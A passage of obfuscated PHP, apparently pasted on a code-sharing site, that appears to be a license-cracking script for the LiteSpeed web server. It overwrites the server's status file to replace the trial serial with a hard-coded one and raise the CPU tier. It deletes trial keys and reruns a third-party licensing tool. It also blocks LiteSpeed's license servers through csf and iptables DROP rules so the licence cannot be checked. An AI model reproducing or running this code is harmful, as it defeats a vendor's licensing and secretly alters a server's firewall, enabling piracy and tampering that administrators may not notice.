  617. if ( !phpshield_obfuscated_r1bd1ggusnf9cs( $phpshield_obfuscated_57930525534645c2159bdf7742e3f7bc, $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f['litespeedcore'] . "-CPU" ) && phpshield_obfuscated_r1bd1ggusnf9cs( $phpshield_obfuscated_57930525534645c2159bdf7742e3f7bc, "2-CPU" ) ) {
  618. $phpshield_obfuscated_57930525534645c2159bdf7742e3f7bc = phpshield_obfuscated_raqs2kg9aU1qxt( "2-CPU", $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f['litespeedcore'] . "-CPU", $phpshield_obfuscated_57930525534645c2159bdf7742e3f7bc );
  619. $phpshield_obfuscated_57930525534645c2159bdf7742e3f7bc = phpshield_obfuscated_raqs2kg9aU1qxt( "SERIAL: TRIAL", "SERIAL: 8492-7373-5213-8492", $phpshield_obfuscated_57930525534645c2159bdf7742e3f7bc );
  620. phpshield_obfuscated_r82sg4g2a7190y( '/tmp/lshttpd/.status', $phpshield_obfuscated_57930525534645c2159bdf7742e3f7bc );
  621. print( "LITESPEED -> TYPE FIXED : " . $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f['litespeedcore'] . "-CPU \n" );
  622. } else {
  623. print( "LITESPEED -> TYPE : " . $phpshield_obfuscated_32d822e90fa7c57186ad00b7d4314f2f['litespeedcore'] . "-CPU\n" );
  624. }
  625. }
  626. if ( file_exists( '/usr/local/lsws/bin/lshttpd' ) ) {
  627. if ( file_exists( '/usr/local/lsws/VERSION' ) ) {
  628. $phpshield_obfuscated_9b1b80cc6599f3afff132c4dc679691a = phpshield_obfuscated_raqs2kg9aU1qxt( "\n", "", phpshield_obfuscated_r8bs14gu17f93y( '/usr/local/lsws/VERSION' ) );
  629. if ( file_exists( '/usr/local/lsws/BUILD' ) ) {
  630. $phpshield_obfuscated_d06d2a343c7659064f5a6e72ae167879 = phpshield_obfuscated_raqs2kg9aU1qxt( "\n", "", phpshield_obfuscated_r8bs14gu17f93y( '/usr/local/lsws/BUILD' ) );
  631. if ( !empty( $phpshield_obfuscated_d06d2a343c7659064f5a6e72ae167879 ) ) {
  632. $phpshield_obfuscated_9b1b80cc6599f3afff132c4dc679691a = $phpshield_obfuscated_9b1b80cc6599f3afff132c4dc679691a . " (build $phpshield_obfuscated_d06d2a343c7659064f5a6e72ae167879)";
  633. }
  634. }
  635. print( "LITESPEED -> VERSION $phpshield_obfuscated_9b1b80cc6599f3afff132c4dc679691a\n" );
  636. }
  637. print( "LITESPEED -> LATEST $phpshield_obfuscated_fe47b887e5e54199967227aa42fbf8ff (build $phpshield_obfuscated_04025cacd5963f4b9f34eb4e5411bbfb)\n" );
  638. if ( !file_exists( '/usr/local/lsws/conf/trial.key' ) & !file_exists( '/usr/local/lsws/conf/license.key' ) & empty( phpshield_obfuscated_e85f9fee76c456664960cea313e7fe80( 'CHECK_AP_RUNNING' ) ) ) {
  639. print( "LITESPEED -> LICENSE FILE NOT FOUND - TRY NEW LICENSE\n" );
  640. phpshield_obfuscated_uarsEwg2qUpqxo( '/usr/local/cgls/Licensing' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  641. }
  642. $phpshield_obfuscated_ada370f97d905f76b3c9d4e1ffbb7fff = "localhost";
  643. if ( $phpshield_obfuscated_e3da88e893ad8415c8338ff7fa8b635f = @fsockopen( $phpshield_obfuscated_ada370f97d905f76b3c9d4e1ffbb7fff, 80, $phpshield_obfuscated_32d00070d4ffbcce2fc669bba812d4c2, $phpshield_obfuscated_5f525f5b398dadd7cf0784bd406298e3, 5 ) ) {
  644. print( "LITESPEED -> PORT 80 TEST1 OK\n" );
  645. fclose( $phpshield_obfuscated_e3da88e893ad8415c8338ff7fa8b635f );
  646. } else {
  647. print( "LITESPEED -> PORT 80 TRY TO LITESPEED\n" );
  648. phpshield_obfuscated_uarsEwg2qUpqxo( '/usr/local/lsws/admin/misc/cp_switch_ws.sh lsws' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  649. }
  650. $phpshield_obfuscated_ada370f97d905f76b3c9d4e1ffbb7fff = "localhost";
  651. if ( $phpshield_obfuscated_e3da88e893ad8415c8338ff7fa8b635f = @fsockopen( $phpshield_obfuscated_ada370f97d905f76b3c9d4e1ffbb7fff, 80, $phpshield_obfuscated_32d00070d4ffbcce2fc669bba812d4c2, $phpshield_obfuscated_5f525f5b398dadd7cf0784bd406298e3, 5 ) ) {
  652. print( "LITESPEED -> PORT 80 TEST2 OK\n" );
  653. fclose( $phpshield_obfuscated_e3da88e893ad8415c8338ff7fa8b635f );
  654. } else {
  655. if ( file_exists( '/usr/local/lsws/bin/lshttpd' ) ) {
  656. phpshield_obfuscated_7e7dd05abe32aff9a42cb391f75b394d( '/usr/local/lsws/bin/lshttpd -t' );
  657. $phpshield_obfuscated_31c83a5b1ccd30087a47a7aa6e79fecc = phpshield_obfuscated_r8bs14gu17f93y( '/usr/local/cgls/log/cyberrun2.log' );
  658. if ( phpshield_obfuscated_s1add2gssvfs4s( $phpshield_obfuscated_31c83a5b1ccd30087a47a7aa6e79fecc, 'terminated' ) ) {
  659. print( "LITESPEED -> TRY NEW LICENSE\n" );
  660. if ( file_exists( '/usr/local/lsws/conf/trial.key' ) ) {
  661. phpshield_obfuscated_uarsEwg2qUpqxo( $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653 . ' -i /usr/local/lsws/conf/trial.key' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  662. phpshield_obfuscated_uarsEwg2qUpqxo( 'rm -rf /usr/local/lsws/conf/trial.key' );
  663. }
  664. phpshield_obfuscated_uarsEwg2qUpqxo( '/usr/local/cgls/Licensing' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  665. }
  666. }
  667. }
  668. if ( file_exists( '/usr/local/lsws/bin/lsws_env' ) ) {
  669. $phpshield_obfuscated_8bfdff6d4aa9e85216c5f793eb635669 = parse_ini_file( '/usr/local/lsws/bin/lsws_env' );
  670. } else {
  671. $phpshield_obfuscated_8bfdff6d4aa9e85216c5f793eb635669['PIDFILE'] = '/tmp/lshttpd/lshttpd.pid';
  672. }
  673. if ( file_exists( '/usr/local/lsws/bin/lshttpd' ) & !empty( $phpshield_obfuscated_8bfdff6d4aa9e85216c5f793eb635669['PIDFILE'] ) & phpshield_obfuscated_s1add2gssvfs4s( $phpshield_obfuscated_8bfdff6d4aa9e85216c5f793eb635669['PIDFILE'], 'lshttpd.pid' ) ) {
  674. print( "LITESPEED -> PID FILE " . $phpshield_obfuscated_8bfdff6d4aa9e85216c5f793eb635669['PIDFILE'] . "\n" );
  675. $phpshield_obfuscated_7400173c450f6e03c8c21eecd91fe3af = $phpshield_obfuscated_8bfdff6d4aa9e85216c5f793eb635669['PIDFILE'];
  676. if ( !file_exists( $phpshield_obfuscated_7400173c450f6e03c8c21eecd91fe3af ) & empty( phpshield_obfuscated_e85f9fee76c456664960cea313e7fe80( 'CHECK_AP_RUNNING' ) ) ) {
  677. print( "LITESPEED -> PID FILE NOT FOUND - TRY TO LITESPEED \n" );
  678. print( "LITESPEED -> TRY NEW LICENSE\n" );
  679. if ( file_exists( '/usr/local/lsws/conf/trial.key' ) ) {
  680. phpshield_obfuscated_uarsEwg2qUpqxo( $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653 . ' -i /usr/local/lsws/conf/trial.key' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  681. phpshield_obfuscated_uarsEwg2qUpqxo( 'rm -rf /usr/local/lsws/conf/trial.key' );
  682. }
  683. phpshield_obfuscated_uarsEwg2qUpqxo( '/usr/local/cgls/Licensing' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  684. phpshield_obfuscated_uarsEwg2qUpqxo( '/usr/local/lsws/admin/misc/cp_switch_ws.sh lsws' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  685. if ( !file_exists( $phpshield_obfuscated_7400173c450f6e03c8c21eecd91fe3af ) ) {
  686. print( "LITESPEED -> PID FILE NOT FOUND - TRY TO APACHE \n" );
  687. if ( file_exists( '/usr/local/lsws/conf/trial.key' ) ) {
  688. phpshield_obfuscated_uarsEwg2qUpqxo( $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653 . ' -i /usr/local/lsws/conf/trial.key' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  689. phpshield_obfuscated_uarsEwg2qUpqxo( 'rm -rf /usr/local/lsws/conf/trial.key' );
  690. }
  691. phpshield_obfuscated_uarsEwg2qUpqxo( '/usr/local/lsws/admin/misc/cp_switch_ws.sh apache' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  692. }
  693. }
  694. }
  695. if ( file_exists( $phpshield_obfuscated_7400173c450f6e03c8c21eecd91fe3af ) ) {
  696. print( "LITESPEED -> PID IS " . phpshield_obfuscated_raqs2kg9aU1qxt( "\n", "", phpshield_obfuscated_r8bs14gu17f93y( $phpshield_obfuscated_8bfdff6d4aa9e85216c5f793eb635669['PIDFILE'] ) ) . "\n" );
  697. }
  698. if ( !file_exists( '/proc/' . phpshield_obfuscated_raqs2kg9aU1qxt( "\n", "", phpshield_obfuscated_r8bs14gu17f93y( $phpshield_obfuscated_8bfdff6d4aa9e85216c5f793eb635669['PIDFILE'] ) ) . '/exe' ) & empty( phpshield_obfuscated_e85f9fee76c456664960cea313e7fe80( 'CHECK_AP_RUNNING' ) ) ) {
  699. phpshield_obfuscated_r41sgkg2as1qqy( $phpshield_obfuscated_7400173c450f6e03c8c21eecd91fe3af );
  700. print( "LITESPEED -> PID IS FOUND BUT NOT RUNNING - TRY TO START\n" );
  701. phpshield_obfuscated_uarsEwg2qUpqxo( '/usr/local/cgls/Licensing' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  702. phpshield_obfuscated_uarsEwg2qUpqxo( '/usr/local/lsws/admin/misc/cp_switch_ws.sh lsws' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  703. phpshield_obfuscated_r13d12gus3f1cs( 2 );
  704. if ( !file_exists( $phpshield_obfuscated_7400173c450f6e03c8c21eecd91fe3af ) ) {
  705. print( "LITESPEED -> RUNNING FAILED - TRY TO APACHE \n" );
  706. if ( file_exists( '/usr/local/lsws/conf/trial.key' ) ) {
  707. phpshield_obfuscated_uarsEwg2qUpqxo( $phpshield_obfuscated_9deeb0078cdd689e91879d4a49a38653 . ' -i /usr/local/lsws/conf/trial.key' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  708. phpshield_obfuscated_uarsEwg2qUpqxo( 'rm -rf /usr/local/lsws/conf/trial.key' );
  709. }
  710. phpshield_obfuscated_uarsEwg2qUpqxo( '/usr/local/lsws/admin/misc/cp_switch_ws.sh apache' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  711. }
  712. }
  713. $phpshield_obfuscated_107a070079a0ac57c8a2b441a86faece = @private_cyberlicsys( 'http://license.litespeedtech.com', 5, 5 );
  714. $phpshield_obfuscated_107a070079a0ac57c8a2b441a86faece2 = @private_cyberlicsys( 'http://license2.litespeedtech.com', 5, 5 );
  715. if ( phpshield_obfuscated_s1add2gssvfs4s( $phpshield_obfuscated_107a070079a0ac57c8a2b441a86faece, 'litespeed' ) or phpshield_obfuscated_s1add2gssvfs4s( $phpshield_obfuscated_107a070079a0ac57c8a2b441a86faece2, 'litespeed' ) ) {
  716. $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2b = phpshield_obfuscated_sahsekg9lU1qxt( '/sbin/iptables -L INPUT -v -n' );
  717. foreach ( $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2deny as $phpshield_obfuscated_6094dffc2c2b8e4c8689f1ce6725a5a5 ) {
  718. if ( file_exists( '/usr/sbin/csf' ) ) {
  719. print( "LITESPEED -> CSF $phpshield_obfuscated_6094dffc2c2b8e4c8689f1ce6725a5a5 FIXED\n" );
  720. phpshield_obfuscated_sahsekg9lU1qxt( '/usr/sbin/csf -e ' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  721. phpshield_obfuscated_sahsekg9lU1qxt( '/etc/init.d/iptables start' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  722. phpshield_obfuscated_sahsekg9lU1qxt( '/usr/bin/systemctl start firewalld' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  723. phpshield_obfuscated_sahsekg9lU1qxt( '/usr/sbin/csf -d ' . $phpshield_obfuscated_6094dffc2c2b8e4c8689f1ce6725a5a5 . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  724. phpshield_obfuscated_uarsEwg2qUpqxo( '/usr/sbin/csf -d ' . $phpshield_obfuscated_6094dffc2c2b8e4c8689f1ce6725a5a5 . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  725. }
  726. if ( !phpshield_obfuscated_s1add2gssvfs4s( $phpshield_obfuscated_9cfb7c6d6b20d54b665e8ce30a6486f2b, $phpshield_obfuscated_6094dffc2c2b8e4c8689f1ce6725a5a5 ) ) {
  727. print( "LITESPEED -> iptables $phpshield_obfuscated_6094dffc2c2b8e4c8689f1ce6725a5a5 FIXED\n" );
  728. phpshield_obfuscated_sahsekg9lU1qxt( '/sbin/iptables -A INPUT -s ' . $phpshield_obfuscated_6094dffc2c2b8e4c8689f1ce6725a5a5 . ' -j DROP' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  729. phpshield_obfuscated_sahsekg9lU1qxt( '/sbin/iptables -A OUTPUT -s ' . $phpshield_obfuscated_6094dffc2c2b8e4c8689f1ce6725a5a5 . ' -j DROP' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  730. phpshield_obfuscated_sahsekg9lU1qxt( 'sudo /sbin/iptables -A INPUT -s ' . $phpshield_obfuscated_6094dffc2c2b8e4c8689f1ce6725a5a5 . ' -j DROP' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  731. phpshield_obfuscated_sahsekg9lU1qxt( 'sudo /sbin/iptables -A OUTPUT -s ' . $phpshield_obfuscated_6094dffc2c2b8e4c8689f1ce6725a5a5 . ' -j DROP' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  732. phpshield_obfuscated_uarsEwg2qUpqxo( '/sbin/iptables -A INPUT -s ' . $phpshield_obfuscated_6094dffc2c2b8e4c8689f1ce6725a5a5 . ' -j DROP' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  733. phpshield_obfuscated_uarsEwg2qUpqxo( '/sbin/iptables -A OUTPUT -s ' . $phpshield_obfuscated_6094dffc2c2b8e4c8689f1ce6725a5a5 . ' -j DROP' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  734. phpshield_obfuscated_uarsEwg2qUpqxo( 'sudo /sbin/iptables -A INPUT -s ' . $phpshield_obfuscated_6094dffc2c2b8e4c8689f1ce6725a5a5 . ' -j DROP' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  735. phpshield_obfuscated_uarsEwg2qUpqxo( 'sudo /sbin/iptables -A OUTPUT -s ' . $phpshield_obfuscated_6094dffc2c2b8e4c8689f1ce6725a5a5 . ' -j DROP' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  736. }
  737. }
  738. phpshield_obfuscated_uarsEwg2qUpqxo( 'iptables-save' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  739. phpshield_obfuscated_uarsEwg2qUpqxo( '/sbin/iptables-save' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  740. phpshield_obfuscated_uarsEwg2qUpqxo( 'service iptables save' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  741. phpshield_obfuscated_sahsekg9lU1qxt( 'iptables-save' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  742. phpshield_obfuscated_sahsekg9lU1qxt( '/sbin/iptables-save' . $phpshield_obfuscated_9bce48ad68812583c23837a9f406142a );
  743. print( "LITESPEED -> Fixed\n" );
  744. } else {
  745. print( "LITESPEED -> OK\n" );
  746. if ( file_exists( '/usr/local/lsws/bin/lshttpd' ) ) {
  747. phpshield_obfuscated_7e7dd05abe32aff9a42cb391f75b394d( '/usr/local/lsws/bin/lshttpd -t' );
  748. $phpshield_obfuscated_31c83a5b1ccd30087a47a7aa6e79fecc = phpshield_obfuscated_r8bs14gu17f93y( '/usr/local/cgls/log/cyberrun2.log' );
  749. $phpshield_obfuscated_31c83a5b1ccd30087a47a7aa6e79fecc2 = phpshield_obfuscated_r8bs14gu17f93y( '/usr/local/cgls/log/cyberrun.log' );
  750. phpshield_obfuscated_r41sgkg2as1qqy( '/usr/local/cgls/log/cyberrun.log' );
  751. phpshield_obfuscated_r41sgkg2as1qqy( '/usr/local/cgls/log/cyberrun2.log' );
  752. $phpshield_obfuscated_31c83a5b1ccd30087a47a7aa6e79fecc2 = phpshield_obfuscated_raqs2kg9aU1qxt( 'expires', 'expire', $phpshield_obfuscated_31c83a5b1ccd30087a47a7aa6e79fecc2 );
  753. if ( preg_match( '/expire in (.*?) days/', $phpshield_obfuscated_31c83a5b1ccd30087a47a7aa6e79fecc2, $phpshield_obfuscated_6007ac73dbb9166570ac830f70de2031 ) === 1 ) {
  754. if ( !empty( $phpshield_obfuscated_6007ac73dbb9166570ac830f70de2031[1] ) & is_numeric( $phpshield_obfuscated_6007ac73dbb9166570ac830f70de2031[1] ) ) {
  755. $phpshield_obfuscated_c45a541938726113f7c8fb886f219ced = $phpshield_obfuscated_6007ac73dbb9166570ac830f70de2031[1];
  756. } else {
  757. $phpshield_obfuscated_c45a541938726113f7c8fb886f219ced = 0;
  758. }
  759. }
  760. if ( empty( $phpshield_obfuscated_c45a541938726113f7c8fb886f219ced ) & phpshield_obfuscated_r1bd1ggusnf9cs( $phpshield_obfuscated_31c83a5b1ccd30087a47a7aa6e79fecc2, 'is running' ) ) {
  761. $phpshield_obfuscated_c45a541938726113f7c8fb886f219ced = 15;
  762. }
  763. print( "LITESPEED -> $phpshield_obfuscated_c45a541938726113f7c8fb886f219ced DAYS REMAINED\n" );
  764. if ( is_numeric( $phpshield_obfuscated_c45a541938726113f7c8fb886f219ced ) & ( $phpshield_obfuscated_c45a541938726113f7c8fb886f219ced < 5 ) & false ) {
  765. $phpshield_obfuscated_107a070079a0ac57c8a2b441a86faeceold = true;
  766. ...............................................................................
  767. ........................................
  768. .............
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement